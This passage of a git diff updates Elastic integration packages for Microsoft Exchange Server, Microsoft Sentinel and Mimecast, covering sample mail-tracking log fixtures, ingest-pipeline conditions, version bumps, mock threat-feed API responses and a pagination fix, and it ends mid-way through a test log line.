exchange-mail,SMTP,RECEIVE,70912345566407,<20240123200018.123C42553@pve-vhost01.my.domain.com>,c95b5dd1-f520-1234-e6dc-56dc1db8914d,mailuser@my.domain.com,,8251,1,,,vzdump backup status (pve-vhost01.my.domain.com): backup successful,root@pve-vhost01.my.domain.com,root@pve-vhost01.my.domain.com,0cA: ,Incoming,,10.11.12.15,10.11.12.14,S:ProxyHop1=exchange-mail.my.domain.com(10.11.12.14);S:MessageValue=MediumHigh;S:Replication=Failed;S:FirstForestHop=exchange-mail.my.domain.com;S:FromEntity=Internet;S:ProxiedClientIPAddress=10.11.12.15;S:ProxiedClientHostname=pve-vhost01.my.domain.com;S:DeliveryPriority=Normal;S:AccountForest=my.domain.com,Email,d6aef52d-0e05-1234-e29b-56dc1db89238,15.02.0330.005", @@ -217,7 +218,7 @@ } }, "event": { - "ingested": "2025-02-06T10:59:58.217150038Z", + "ingested": "2025-02-20T14:15:49.792795207Z", "original": "2024-01-07T00:00:07.463Z,192.168.0.1,exchange,192.168.0.2,exchange.example.com,;250 2.0.0OK20240107001234.567E6224C8@monitor.example.com[Hostname=exchange.example.com];ClientSubmitTime:,Intra-Organization SMTP Send Connector,SMTP,SEND,29519319995411,20240107001234.567E6224C8@monitor.example.com,0b7099ea-cb95-1234-328e-08dc5f139ac8,uwe.musterman@example.com,250 2.1.5Recipient OK,38663,1,,,ein Titel,support@example.com,support@example.com,2024-01-07T00:00:05.535Z;LSRV=exchange.example.com:TOTAL-HUB=1.921|SMR=0.127(SMRDE=0.002|SMRC=0.125(SMRCL=0.105|X-SMRCR=0.125))|CAT=1.698(CATOS=0.018(CATSM=0.017(CATSM-Malware Agent=0.017))|CATRESL=0.004|CATORES=1.567(CATRS=1.566(CATRS-ScanMail Routing Agent=0.117|CATRS-Transport Rule Agent=0.002(X-ETREX=0.002)|CATRS-Index Routing Agent=1.444))|CATORT=0.108(CATRT=0.107(CATRT-Journal Agent=0.107)))|QDM=0.010|SMSC=0.006(X-SMSDR=0.011)|SMS=0.076(SMSMBXD=0.071),Originating,,,,S:E2ELatency=1.928;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=Opportunistic;S:IsSmtpResponseFromExternalServer=False;S:DeliveryPriority=Normal;S:AccountForest=example.com,Email,a7ae9ef9-e10c-4111-19bf-08dc0f111bee,15.01.2507.035" }, "message": "2024-01-07T00:00:07.463Z,192.168.0.1,exchange,192.168.0.2,exchange.example.com,;250 2.0.0OK20240107001234.567E6224C8@monitor.example.com[Hostname=exchange.example.com];ClientSubmitTime:,Intra-Organization SMTP Send Connector,SMTP,SEND,29519319995411,20240107001234.567E6224C8@monitor.example.com,0b7099ea-cb95-1234-328e-08dc5f139ac8,uwe.musterman@example.com,250 2.1.5Recipient OK,38663,1,,,ein Titel,support@example.com,support@example.com,2024-01-07T00:00:05.535Z;LSRV=exchange.example.com:TOTAL-HUB=1.921|SMR=0.127(SMRDE=0.002|SMRC=0.125(SMRCL=0.105|X-SMRCR=0.125))|CAT=1.698(CATOS=0.018(CATSM=0.017(CATSM-Malware Agent=0.017))|CATRESL=0.004|CATORES=1.567(CATRS=1.566(CATRS-ScanMail Routing Agent=0.117|CATRS-Transport Rule Agent=0.002(X-ETREX=0.002)|CATRS-Index Routing Agent=1.444))|CATORT=0.108(CATRT=0.107(CATRT-Journal Agent=0.107)))|QDM=0.010|SMSC=0.006(X-SMSDR=0.011)|SMS=0.076(SMSMBXD=0.071),Originating,,,,S:E2ELatency=1.928;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=Opportunistic;S:IsSmtpResponseFromExternalServer=False;S:DeliveryPriority=Normal;S:AccountForest=example.com,Email,a7ae9ef9-e10c-4111-19bf-08dc0f111bee,15.01.2507.035", @@ -249,6 +250,163 @@ "tags": [ "preserve_original_event" ] + }, + { + "@timestamp": "2025-01-14T09:29:05.327Z", + "client": { + "domain": "HELLOWORLD", + "ip": "216.160.83.56" + }, + "ecs": { + "version": "8.17.0" + }, + "email": { + "direction": "Incoming", + "local_id": "cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202", + "message_id": "<1736846922.907742.2942@foo.bar.local>", + "sender": { + "address": [ + "" + ] + }, + "subject": "John Doe", + "to": { + "address": [ + "email@email.com" + ] + } + }, + "event": { + "ingested": "2025-02-20T14:15:49.792842183Z", + "original": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039" + }, + "message": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039", + "microsoft": { + "exchange": { + "connectorid": "Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202", + "customdata": "S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com", + "eventid": "SENDEXTERNAL", + "internalmessageid": "8774618205228", + "logid": "82f8feae-ef9b-41bf-8500-1e10946655ae", + "messageinfo": "2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291", + "networkmessageid": "cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202", + "recipientcount": 1, + "recipientstatus": "250 2.1.5 Recipient OK", + "returnpath": "<>", + "schemaversion": "15.01.2507.039", + "source": "SMTP", + "sourcecontext": ";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:", + "transporttraffictype": "Email" + } + }, + "network": { + "bytes": 136349 + }, + "server": { + "domain": "global-mail-onmicrosoft-com.mail.protection.outlook.com", + "ip": "175.16.199.1" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-01-14T09:28:39.334Z", + "client": { + "domain": "HELLOWORLD", + "ip": "2a02:cf40::0000:1234:5678:9abc" + }, + "ecs": { + "version": "8.17.0" + }, + "email": { + "from": { + "address": [ + "email@email.com" + ] + }, + "sender": { + "address": [ + "email@email.com" + ] + } + }, + "event": { + "ingested": "2025-02-20T14:15:49.792849318Z", + "original": "2025-01-14T09:28:39.334Z,2a02:cf40::0000:1234:5678:9abc,HELLOWORLD,,,\"MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant\",,STOREDRIVER,NOTIFYMAPI,,,,,,,,,,,email@email.com,,2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000,,,,,S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00,,74364e3b-32b7-4108-9a2c-6dda84007459,15.01.2507.039" + }, + "message": "2025-01-14T09:28:39.334Z,2a02:cf40::0000:1234:5678:9abc,HELLOWORLD,,,\"MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant\",,STOREDRIVER,NOTIFYMAPI,,,,,,,,,,,email@email.com,,2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000,,,,,S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00,,74364e3b-32b7-4108-9a2c-6dda84007459,15.01.2507.039", + "microsoft": { + "exchange": { + "customdata": "S:ItemEntryId=00-00-00-00-39-E7-E4-05-8C-C2-08-4C-AC-96-9A-D0-DE-C4-85-EE-07-00-D8-00-A6-A0-EC-B2-39-4D-BD-2F-31-4C-F7-4F-3F-4C-00-00-00-14-1A-99-00-00-46-7D-7B-CD-1B-EA-FC-40-9C-37-A9-7E-B0-DD-4C-16-00-08-65-53-76-46-00-00", + "eventid": "NOTIFYMAPI", + "logid": "74364e3b-32b7-4108-9a2c-6dda84007459", + "messageinfo": "2025-01-14T09:28:39.321Z;LSRV=HELLOWORLD.foo.example.com:TOTAL-SUB=0.013|SA=0.013|MTSS-PEN=0.000", + "schemaversion": "15.01.2507.039", + "source": "STOREDRIVER", + "sourcecontext": "MDB:f4adaa08-ff49-4bca-ba70-68e9b80597b0, Mailbox:84dd42d9-8814-4758-a8bb-e8765d62ec90, Event:190620893, MessageClass:IPM.Note, CreationTime:2025-01-14T09:28:39.321Z, ClientType:MOMT, SubmissionAssistant:MailboxTransportSubmissionEmailAssistant" + } + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-01-14T09:29:05.327Z", + "client": { + "domain": "HELLOWORLD", + "ip": "216.160.83.56" + }, + "ecs": { + "version": "8.17.0" + }, + "email": { + "direction": "Incoming", + "message_id": "<1736846922.907742.2942@foo.bar.local>", + "sender": { + "address": [ + "" + ] + }, + "subject": "John Doe", + "to": { + "address": [ + "email@email.com" + ] + } + }, + "event": { + "ingested": "2025-02-20T14:15:49.792854602Z", + "original": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039" + }, + "message": "2025-01-14T09:29:05.327Z,216.160.83.56,HELLOWORLD,175.16.199.1,global-mail-onmicrosoft-com.mail.protection.outlook.com,\";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:\",Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202,SMTP,SENDEXTERNAL,8774618205228,<1736846922.907742.2942@foo.bar.local>,,email@email.com,250 2.1.5 Recipient OK,136349,1,,,John Doe,,<>,2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291,Incoming,,,,S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com,Email,82f8feae-ef9b-41bf-8500-1e10946655ae,15.01.2507.039", + "microsoft": { + "exchange": { + "connectorid": "Outbound to Office 365 - cb1ce4e7-cbb6-46e8-8a4c-e1f2efbdd202", + "customdata": "S:E2ELatency=14.513;S:ExternalSendLatency=0.402;S:ToEntity=Internet;S:FromEntity=Internet;S:MsgRecipCount=1;S:IncludeInSla=True;S:Microsoft.Exchange.Transport.MailRecipient.RequiredTlsAuthLevel=DomainValidation;S:Microsoft.Exchange.Transport.MailRecipient.EffectiveTlsAuthLevel=DomainValidation;S:IsSmtpResponseFromExternalServer=True;S:DeliveryPriority=Normal;S:OriginalFromAddress=<>;S:AccountForest=wgs.wuerth.com", + "eventid": "SENDEXTERNAL", + "internalmessageid": "8774618205228", + "logid": "82f8feae-ef9b-41bf-8500-1e10946655ae", + "messageinfo": "2025-01-14T09:28:50.814Z;SRV=HELLOWORLD.foo.example.com:TOTAL-FE=0.074|SMR=0.072(SMRPI=0.002(SMRPI-FrontendProxyAgent=0.002))|SMS=0.002;SRV=HELLOWORLD.foo.example.com:TOTAL-HUB=14.439|SMR=0.279(SMRDE=0.174|SMRC=0.105(SMRCL=0.105|X-SMRCR=0.016))|CAT=0.046(CATOS=0.018(CATSM=0.018(CATSM-Malware Agent=0.017))|CATRESL=0.003|CATORES=0.021(CATRS=0.021(CATRS-Prioritization Agent=0.002|CATRS-Index Routing Agent=0.017))|CATORT=0.002(CATRT=0.002(CATRT-CodeTwo Exchange Rules Transport Agent=0.001)))|QDE=13.818|SMS=0.291", + "recipientcount": 1, + "recipientstatus": "250 2.1.5 Recipient OK", + "returnpath": "<>", + "schemaversion": "15.01.2507.039", + "source": "SMTP", + "sourcecontext": ";250 2.6.0 <1736846922.907742.2942@foo.bar.local> [InternalId=5450313518243, Hostname=AAAAAAAAAAAAA.bbbbbbbb.prod.outlook.com] 141301 bytes in 0.101, 1361.827 KB/sec Queued mail for delivery;ClientSubmitTime:", + "transporttraffictype": "Email" + } + }, + "network": { + "bytes": 136349 + }, + "server": { + "domain": "global-mail-onmicrosoft-com.mail.protection.outlook.com", + "ip": "175.16.199.1" + }, + "tags": [ + "preserve_original_event" + ] } ] } diff --git a/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml b/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml index 82e0459b344..ff202eba7ed 100644 --- a/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml +++ b/packages/microsoft_exchange_server/data_stream/messagetracking/elasticsearch/ingest_pipeline/default.yml @@ -54,6 +54,7 @@ processors: - set: field: email.local_id copy_from: microsoft.exchange.networkmessageid + ignore_empty_value: true - append: field: email.sender.address value: "{{{microsoft.exchange.senderaddress}}}" @@ -65,15 +66,15 @@ processors: - append: field: email.from.address value: "{{{_tmp.email.from.address}}}" - if: ctx._tmp?.email?.from?.address != null && ctx?._tmp?.email?.from?.address != "<>" - ignore_failure: true + if: ctx._tmp?.email?.from?.address != null && ctx._tmp.email.from.address != "<>" - append: field: email.from.address value: "{{{microsoft.exchange.senderaddress}}}" - if: ctx.email?.from?.address == null + if: ctx.microsoft?.exchange?.senderaddress != null && ctx.microsoft.exchange.senderaddress != "" ignore_failure: true - remove: field: microsoft.exchange.senderaddress + ignore_missing: true - convert: field: "microsoft.exchange.recipientcount" type: long diff --git a/packages/microsoft_exchange_server/manifest.yml b/packages/microsoft_exchange_server/manifest.yml index cad9349b301..2e1c2007df4 100644 --- a/packages/microsoft_exchange_server/manifest.yml +++ b/packages/microsoft_exchange_server/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.3 name: microsoft_exchange_server title: "Microsoft Exchange Server" -version: "1.3.0" +version: "1.3.1" source: license: "Elastic-2.0" description: Collect logs from Microsoft Exchange Server with Elastic Agent. diff --git a/packages/microsoft_sentinel/changelog.yml b/packages/microsoft_sentinel/changelog.yml index 037529b2e82..d12797da36e 100644 --- a/packages/microsoft_sentinel/changelog.yml +++ b/packages/microsoft_sentinel/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "0.4.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.3.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/microsoft_sentinel/manifest.yml b/packages/microsoft_sentinel/manifest.yml index c54158e8219..9c5acef7300 100644 --- a/packages/microsoft_sentinel/manifest.yml +++ b/packages/microsoft_sentinel/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.2.1 name: microsoft_sentinel title: Microsoft Sentinel -version: 0.3.1 +version: "0.4.0" description: Collect logs from Microsoft Sentinel with Elastic Agent. type: integration categories: @@ -10,7 +10,7 @@ categories: - edr_xdr conditions: kibana: - version: ^8.14.0 + version: "^8.14.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/mimecast/_dev/deploy/docker/files/config.yml b/packages/mimecast/_dev/deploy/docker/files/config.yml index a643dade2f1..da698e4773d 100644 --- a/packages/mimecast/_dev/deploy/docker/files/config.yml +++ b/packages/mimecast/_dev/deploy/docker/files/config.yml @@ -745,6 +745,8 @@ rules: headers: Content-Type: - "application/json" + X-Mc-Threat-Feed-Next-Token: + - nextnexttoken body: | {{ minify_json ` { @@ -815,6 +817,43 @@ rules: ] } `}} + - path: /api/ttp/threat-intel/get-feed + methods: ["POST"] + request_body: /"feedType":"malware_customer","fileType":"stix","token":"nextnexttoken"/ + request_headers: + authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"] + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: | + {{ minify_json ` + { + "meta": { + "status": 200 + }, + "data": [], + "fail": [ + { + "key": { + "start": "2025-02-01T01:00:00+0000", + "end": "2025-02-01T01:00:01+0000", + "fileType": "stix", + "feedType": "malware_customer", + "compress": false + }, + "errors": [ + { + "code": "err_threat_intel_feed_no_result_found", + "message": "No results found for threat intel feed.", + "retryable": false + } + ] + } + ] + } + `}} - path: /api/ttp/threat-intel/get-feed methods: ["POST"] @@ -899,6 +938,8 @@ rules: headers: Content-Type: - "application/json" + X-Mc-Threat-Feed-Next-Token: + - nextnexttoken body: | {{ minify_json ` { @@ -969,6 +1010,43 @@ rules: ] } `}} + - path: /api/ttp/threat-intel/get-feed + methods: ["POST"] + request_body: /"feedType":"malware_grid","fileType":"stix","token":"nextnexttoken"/ + request_headers: + authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"] + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: | + {{ minify_json ` + { + "meta": { + "status": 200 + }, + "data": [], + "fail": [ + { + "key": { + "start": "2025-02-01T01:00:00+0000", + "end": "2025-02-01T01:00:01+0000", + "fileType": "stix", + "feedType": "malware_customer", + "compress": false + }, + "errors": [ + { + "code": "err_threat_intel_feed_no_result_found", + "message": "No results found for threat intel feed.", + "retryable": false + } + ] + } + ] + } + `}} - path: /api/ttp/attachment/get-logs methods: ["POST"] diff --git a/packages/mimecast/changelog.yml b/packages/mimecast/changelog.yml index 8c46c7e0c1f..35ad2e648f1 100644 --- a/packages/mimecast/changelog.yml +++ b/packages/mimecast/changelog.yml @@ -1,4 +1,19 @@ # newer versions go on top +- version: "2.6.2" + changes: + - description: Handle empty events within a time window inside threat events. + type: enhancement + link: https://github.com/elastic/integrations/pull/12937 +- version: "2.6.1" + changes: + - description: Prevent pageToken from incorrectly reappearing in interval requests in multiple data streams. + type: bugfix + link: https://github.com/elastic/integrations/pull/12936 +- version: "2.6.0" + changes: + - description: Set `event.kind:"alert"` for relevant events. + type: enhancement + link: https://github.com/elastic/integrations/pull/12835 - version: "2.5.2" changes: - description: Add missing ECS field mappings. diff --git a/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs b/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs index c2852f6c21f..06aef814fa5 100644 --- a/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs +++ b/packages/mimecast/data_stream/archive_search_logs/agent/stream/cel.yml.hbs @@ -90,7 +90,7 @@ program: | } }).do_request().as(resp, resp.StatusCode == 200 ? bytes(resp.Body).decode_json().as(body, body.?fail.orValue([]).size() == 0 ? - { + (has(body.?meta.pagination.next) && size(body.data) != 0).as(want_more, { "events": body.data.map(e, e[state.data_path].map(l, {"message": l.encode_json()})).flatten(), "cursor": { "last": ( @@ -106,19 +106,19 @@ program: | ).format(time_layout.RFC3339) ), }, - ?"last_page": has(body.?meta.pagination.next) && size(body.data) != 0 ? - optional.of({ + "last_page": want_more ? + dyn({ ?"next": body.?meta.pagination.next, - "data": req.data, + ?"data": req.?data, }) : - optional.none(), + dyn(null), // required to clear the incoming state "token": { "access_token": token.access_token, "expires": token.expires, }, - "want_more": has(body.?meta.pagination.next) && size(body.data) != 0, - } + "want_more": want_more, + }) : // Mimecast can return failure states with a 200. This // is detected by a non-empty fail array at the root diff --git a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log index 6748648eafe..6f8b5a932ee 100644 --- a/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log +++ b/packages/mimecast/data_stream/cloud_integrated_logs/_dev/test/pipeline/test-cloud-integrated-logs.log @@ -18,3 +18,4 @@ {"_offset":1815702,"_partition":53,"accountId":"AUS2474","aggregateId":"4Xxg1c71KpzFB8T-j9zj9y3f91byjes4ysqetgk19g_1732525893","authResults":[{"aligned":true,"result":"pass","type":"SPF"},{"aligned":false,"result":"none","type":"DKIM"},{"aligned":null,"result":"pass","type":"DMARC"}],"messageId":"<642fa314-514d-2b9b-d4c1-c713421fb4f3@demovation-ci.b41.one>","processingId":"821aff47dea6b57c6cb6bd262738eeabd28e2659f2ac0cb3ee490828d3a143f4_1732525893","subtype":null,"timestamp":1732525893398,"type":"mailflow"} {"_offset":1820908,"_partition":53,"accountId":"AUS2474","aggregateId":"4XyPl23Kn4z84ly-hnj5fgu9nbwnghx86mj18qp44b_1732630590","authResults":[{"aligned":true,"result":"pass","type":"SPF"},{"aligned":false,"result":"none","type":"DKIM"},{"aligned":null,"result":"pass","type":"DMARC"}],"messageId":"<2e165bc9-cae9-8e0d-3baa-03532f32fbb3@demovation-ci.b41.one>","processingId":"3125eb6ff78c055eb7449a47286a453dcb66e176d2c751a6236bba4232c6fe31_1732630590","subtype":null,"timestamp":1732630590705,"type":"mailflow"} {"_offset":1803841,"_partition":53,"accountId":"AUS2474","aggregateId":"4XvR1B4m7BzFB8L-qk59b4szrgayciaagczc977rzb_1732212206","authResults":[{"aligned":true,"result":"pass","type":"SPF"},{"aligned":false,"result":"none","type":"DKIM"},{"aligned":null,"result":"pass","type":"DMARC"}],"messageId":"<2ae37333-38e7-89ff-dc36-c8d48c6e3df3@demovation-ci.b41.one>","processingId":"c40337e6860db0301575d8d09362bff214c0b010d6c4d41da9d770759ff54d10_1732212206","subtype":null,"timestamp":1732212206960,"type":"mailflow"} +{"attachments":["tpsreport.xlsx"],"subject":"RE: Your archive mailbox is almost 